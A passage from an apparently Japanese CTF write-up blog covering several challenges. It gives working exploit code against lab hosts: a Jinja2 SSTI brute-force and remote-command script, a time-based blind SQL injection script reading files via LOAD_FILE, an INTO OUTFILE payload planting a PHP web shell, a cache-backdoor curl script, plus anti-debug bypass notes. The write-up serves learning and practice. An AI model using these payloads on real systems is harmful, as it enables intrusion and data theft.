reply.CreatedAt, err = time.Parse(time.RFC3339, createdAt) if err != nil { log.Println(createdAt) log.Println("time parse error!!!") } replies = append(replies, reply) } w.Header().Set("Content-Type", "application/json") json.NewEncoder(w).Encode(replies) if len(replies) == 0 { return } replyAccessCounter.Increment(cacheKey) if replyAccessCounter.Get(cacheKey) >= 5 { replyCache.Set(cacheKey, replies) replyAccessCounter.Reset(cacheKey) } }
replyに5回以上アクセスされると、cacheにセットされ、以降はアクセスされるとcacheの内容を返します。
つまり、cat flag.txtをコンテンツとするreplyを作成し、その後6回瞬時にアクセスすれば、バックドア経由でflagを読み取れます。
#!/bin/bash
echo "POSTing threads..."
curl -X POST -H "Content-Type: application/json" -d '{"title":"New Thread Title", "content":"This is the content of the thread."}' http://10.0.102.241/threads
echo "POSTing reply..."
curl -X POST -H "Content-Type: application/json" -d '{"thread_id": 1, "content": "cat flag.txt"}' http://10.0.102.241/replies
for i in {1..6}
do
echo "GETting replies (attempt $i)..."
curl -X GET "http://10.0.102.241/replies?thread_id=1"
echo -e "\n"
done
[Medium] legend bird (Misc) 11 solves
Unityで作られたgameです。最初は真面目にreversingしようとしていたのですが、cheat engineなるものを知り使ってみることに。
リンゴを99999個集めればいいらしい。

ということで、特徴的な値から特徴的な値(例えば、始まり19個から終わり23個)にリンゴの個数を変化させた時に同様の変化をするメモリ領域を特定します。

Exact Valueで絞ると、4つのアドレスしか候補がありません。

これらのアドレスの値を23個から -> 99998個に変化させた後、1個のリンゴを取得すると鳥がマップに出現します。

しかし、堀に囲まれているので、鳥に触れることができません。ユーザーのY座標を変えることで、浮島に移動することにします。
Y座標に関連するパラメータは、どのような範囲を取っているかわからないので、変化したか変化していないかで絞っていきます。特に、X軸で動いたときに変化せず、Y軸で動いたときに変化する値を何度か抽出していくと、それっぽいパラメータが複数出てきます。それらのパラメータをいい感じに浮島のところに位置しそうな値に変えると、ワープして鳥に触れるようになり、flagをゲットできます。

cheat engine、初めて使いましたが面白いですね~。ちょっとゲームチートに興味がわきました。
[Hard] Labs 1st mission (Pentest) 7 solves
Webサイトがあるだけ。/contactにあるフォームくらいしか怪しいところがないので、適当に入力してみます。
すると、nameに{{4*4}}を入力すると16となることを発見しました。SSTI脆弱性があるようです。


後は、ninjaのSSTIのpayloadを色々試してみるだけ。
{{request.__class__.__mro__[1].__subclasses__()}}でさまざまなclassオブジェクト?が取れているみたいなので、Popenを探して、RCEに繋げます。
#!/bin/bash
url="http://10.0.102.53/contact"
email="kk@kk"
inquiry="k"
start=0
end=500
for i in $(seq $start $end); do
response=$(curl -s -X POST "$url" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "name={{request.__class__.__mro__[1].__subclasses__()[$i]}}&email=$email&inquiry=$inquiry")
if [[ $response == *"Popen"* ]]; then
echo "Popen class found at index: $i"
echo "Response: $response"
fi
done
$ ./chk.sh Popen class found at index: 231
Popenのクラスが231のindexだとわかるので、後はコマンドを送り込めば良いです。
curl -X POST http://10.0.102.53/contact -H "Content-Type: application/x-www-form-urlencoded" \
-d "name={{request.__class__.__mro__[1].__subclasses__()[231]('$1',shell=True,stdout=-1).communicate()[0].strip()}}&email=kk@kk&inquiry=k"
$ ./rce.sh "cat flag1.txt" | grep flag
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2467 100 2323 100 144 41366 2564 --:--:-- --:--:-- --:--:-- 44854
<h4 class="alert-heading"> b'flag{RC3_W1TH_J1NJ42_SSTI!}' 様、お問い合わせありがとうございます。</h4>
[Easy] Pack (Malware Analysis) 10 solves
exeのファイルでFlagが正しいかを判定するプログラム。
upxで圧縮されているので、unpackし、出てきたexeをそのまま解析します。
main関数は以下のような感じ。
undefined4 FUN_00401170(void) { undefined4 uVar1; DWORD _Size; void *_Dst; byte *_Dst_00; HGLOBAL hResData; LPVOID _Src; byte in_stack_fffffedc; HRSRC local_c; _memset(&stack0xfffffedc,0,0x104); FUN_004010c0(s_Flag_is_:_004062d4,in_stack_fffffedc); FUN_00401130(&DAT_004062d0,(char)&stack0xfffffedc); FUN_00401490(); FUN_004014c0(); if (DAT_004066fc == 1) { DAT_00406700 = 1; /* WARNING: Subroutine does not return */ exit(0); } if (DAT_00406700 == 0) { local_c = FindResourceA((HMODULE)0x0,(LPCSTR)0x65,&DAT_004062cc); } else if (DAT_00406700 == 1) { local_c = FindResourceA((HMODULE)0x0,(LPCSTR)0x66,s_MANIFEST_004062c0); } if (local_c == (HRSRC)0x0) { FUN_004010c0(s_FindResource_error_004062ac,in_stack_fffffedc); uVar1 = 0xffffffff; } else { _Size = SizeofResource((HMODULE)0x0,local_c); _Dst = malloc(_Size); _memset(_Dst,0,_Size); _Dst_00 = (byte *)malloc(_Size << 1); _memset(_Dst_00,0,_Size << 1); hResData = LoadResource((HMODULE)0x0,local_c); if (hResData == (HGLOBAL)0x0) { uVar1 = 1; } else { _Src = LockResource(hResData); FID_conflict:_memcpy(_Dst,_Src,_Size); FUN_004016d0((int)_Dst,(undefined4 *)s_binary_unpacked!_004062e0,0x20,_Dst_00); FUN_00401300(_Dst_00,&stack0xfffffedc); uVar1 = 0; } } return uVar1; }
FUN_00401490でProcessEnvironmentBlockの値を確認し、debuggerでアタッチしているか確認しているぽい。
bool FUN_00401490(void) { bool bVar1; bVar1 = *(char *)((int)ProcessEnvironmentBlock + 2) == '\x01'; if (bVar1) { DAT_00406700 = 1; } return bVar1; }
FUN_004014c0()ではcheat engine系のプロセスが動いていないかを検知しています。
x64dbgでFUN_00401490のチェックの部分でbreakし、registerの値を書き換えてDAT_00406700に1が書き込まれないようにすると、メモリ上にFlagが出てきます。

[Medium] Gallery 1st mission (Pentest) 9 solves
かなり長いこと時間をかけていた問題です。
$ nmap -sV 10.0.102.189 Starting Nmap 7.94 ( https://nmap.org ) at 2024-10-06 20:05 JST Nmap scan report for 10.0.102.189 Host is up (0.052s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.58 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
実は、最初に手をつけたPentestの問題でした。WebサイトがApacheで公開されています。まず、詰まったポイントなんですが、Apache httpd 2.4.58の脆弱性を調べたら、結構使えそうな脆弱性が出てきたのです。
https://httpd.apache.org/security/vulnerabilities_24.html
特に、Orange Tsaiさんが見つけた(一時期TLで話題になっていた気がする)CVE-2024-38475, CVE-2024-38476あたりを使えばsource code disclosureやcode executionができそうで、これだ!と思ってしまったんですよね。
ネット上に使えるPoCが落ちていなかったので、以下のOrange Tsaiさんのブログを読んで理解しようと頑張っていました。RewriteRuleと%3fなどが何か悪さをするみたいだけど、何もわからない。
結構solveも出始めていて、1からPoC作成しているガチプロがこんなにいるのかとびっくりしていました。が、諦めて他の問題(特に他のPentestの問題)に取り組んでいるうちに、今まで完全に無視していたWebサイトそのものになんか脆弱性があるんじゃないのと、冷静になり確かめてみることに。
特に何もないじゃんと思って諦めること数回経て、何か僕の知らないPentest特有の発想があるのではとChatGPTに聞いてみました。すると、Dirb、Gobuster、Dirsearch、Niktoなどを使ってみたらという助言を得たので、Niktoを使ってみることに。
結果、/admin/login.phpというエンドポイントを見つけました。

ログインフォームに適当に入力していると、'をユーザー名に含めるとErrorが起きることを発見。SQL Injectionが起きていそうです。適当に入れてみると〇〇の脆弱性を発見、みたいなのってソースコードが配布されていないWeb問とかPentest問ではよくあることなんですかね?Webサイトに大量のリクエスト送り付けても許される問題だと、見つけられないやつが悪いみたいな感じなのかもしれない。リアルワールドでもそういう事例はあって、適当に入力してたら見つけた、みたいな発見プロセスは問題設定として自然なのかもしれません。
#のコメントアウトが機能したので、DBはMYSQLぽいということで、Blind SQLを行いました。
import requests import string import time url = "http://10.0.102.189/admin/login.php" password_length = 240 password = "" characters = string.ascii_letters + string.digits + string.punctuation for i in range(1, password_length + 1): for char in characters: payload = f"' OR IF(SUBSTRING(LOAD_FILE('/var/www/flag1.txt'), {i}, 1) = '{char}', SLEEP(1), 0) #" data = { 'username': 'll' + payload, 'password': 'kk', 'submit': '%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3' } start_time = time.time() response = requests.post(url, data=data) end_time = time.time() response_time = end_time - start_time if response_time >= 1: password += char print(f"Found character {i}: {char}") break print(f"Current password: {password}") print(f"Password found: {password}")
Found character 1: f
Current password: f
Found character 2: l
Current password: fl
Found character 3: a
Current password: fla
Found character 4: g
Current password: flag
Found character 5: {
Current password: flag{
Found character 6: y
Current password: flag{y
Found character 7: o
Current password: flag{yo
Found character 8: u
Current password: flag{you
Found character 9: _
Current password: flag{you_
Found character 10: e
Current password: flag{you_e
Found character 11: x
Current password: flag{you_ex
Found character 12: p
Current password: flag{you_exp
Found character 13: l
Current password: flag{you_expl
Found character 14: o
Current password: flag{you_explo
Found character 15: i
Current password: flag{you_exploi
Found character 16: t
Current password: flag{you_exploit
Found character 17: _
Current password: flag{you_exploit_
Found character 18: S
Current password: flag{you_exploit_S
Found character 19: Q
Current password: flag{you_exploit_SQ
Found character 20: L
Current password: flag{you_exploit_SQL
Found character 21: i
Current password: flag{you_exploit_SQLi
Found character 22: _
Current password: flag{you_exploit_SQLi_
Found character 23: a
Current password: flag{you_exploit_SQLi_a
Found character 24: n
Current password: flag{you_exploit_SQLi_an
Found character 25: d
Current password: flag{you_exploit_SQLi_and
Found character 26: _
Current password: flag{you_exploit_SQLi_and_
Found character 27: U
Current password: flag{you_exploit_SQLi_and_U
Found character 28: p
Current password: flag{you_exploit_SQLi_and_Up
Found character 29: l
Current password: flag{you_exploit_SQLi_and_Upl
Found character 30: o
Current password: flag{you_exploit_SQLi_and_Uplo
Found character 31: a
Current password: flag{you_exploit_SQLi_and_Uploa
Found character 32: d
Current password: flag{you_exploit_SQLi_and_Upload
Found character 33: e
Current password: flag{you_exploit_SQLi_and_Uploade
Found character 34: r
Current password: flag{you_exploit_SQLi_and_Uploader
Found character 35: }
Current password: flag{you_exploit_SQLi_and_Uploader}
しかし、シリーズの次の問題ではコマンド実行できないと厳しそうだったので、phpファイルをuploadしてsystemのコマンドが実行できるようにしました。uploadにはINTO OUTFILEを使いました。
payloadとして以下のようなものを送っていた気がするのですが、今writeupを書く際に確かめてみたらなんかうまくいきませんでした。
' UNION SELECT "<?php system(\$_GET[\'cmd\']); ?>" INTO OUTFILE '/var/www/html/shell.php'#
CTF中も同様にうまくいかずにガチャガチャやっていた気がしますが、どうにかして<?php system($_GET['cmd']); ?>というphpのファイルをアップロードして、そこに/admin/shell.php?cmd=lsみたいな形でGETしてコマンドを実行していました。
4日目
残りの時間は、Decryptというファイル復号のスクリプトを書く問題と、aaaaaagentというc2 serverと通信しているようなReversingの問題に取り組んでいました。
DecryptはオレオレencryptionをAESで挟んで暗号化するような問題で、2回目の復号時にpayloadのサイズがおかしくて詰まっていました。多分encrypt時に適当に0を気分で?paddingする部分が悪さをしているんですが、復号時にどうやって解決するのかが分からず。
aaaaaagentは、Decryptを諦めてからやっていたんですが、地道Reversingで進めてはいたものの時間が足りず。 c2serverに対して、31063, 30026, 30001のポートにhttpなどでアクセスしてレスポンスを元に処理を変えており、それぞれのポートにアクセスしてきた時に正しく通信を返すようなserver.pyを書いていたんですが、そんなことをしていたら当然間に合いませんね。静的解析でなんとかするべきだったかもしれません。
まとめ
3位を取れてよかったです。WebもEasy問題くらいだと試行錯誤すればなんとかなるもんですね。Pentestは勘所がわからず、user shellを取れたところで全部終わってしまっています。余裕があれば、HTBかなんかで練習するかもしれません(が、高難度Pwnにどんどん手を出す方を優先すべきな気がする)
soloでさまざまなジャンルに挑戦した経験はほとんどないので、自分の得意不得意がはっきりと認識できてよかったです。
機会があれば次回も参加したいです。作問と運営ありがとうございました。
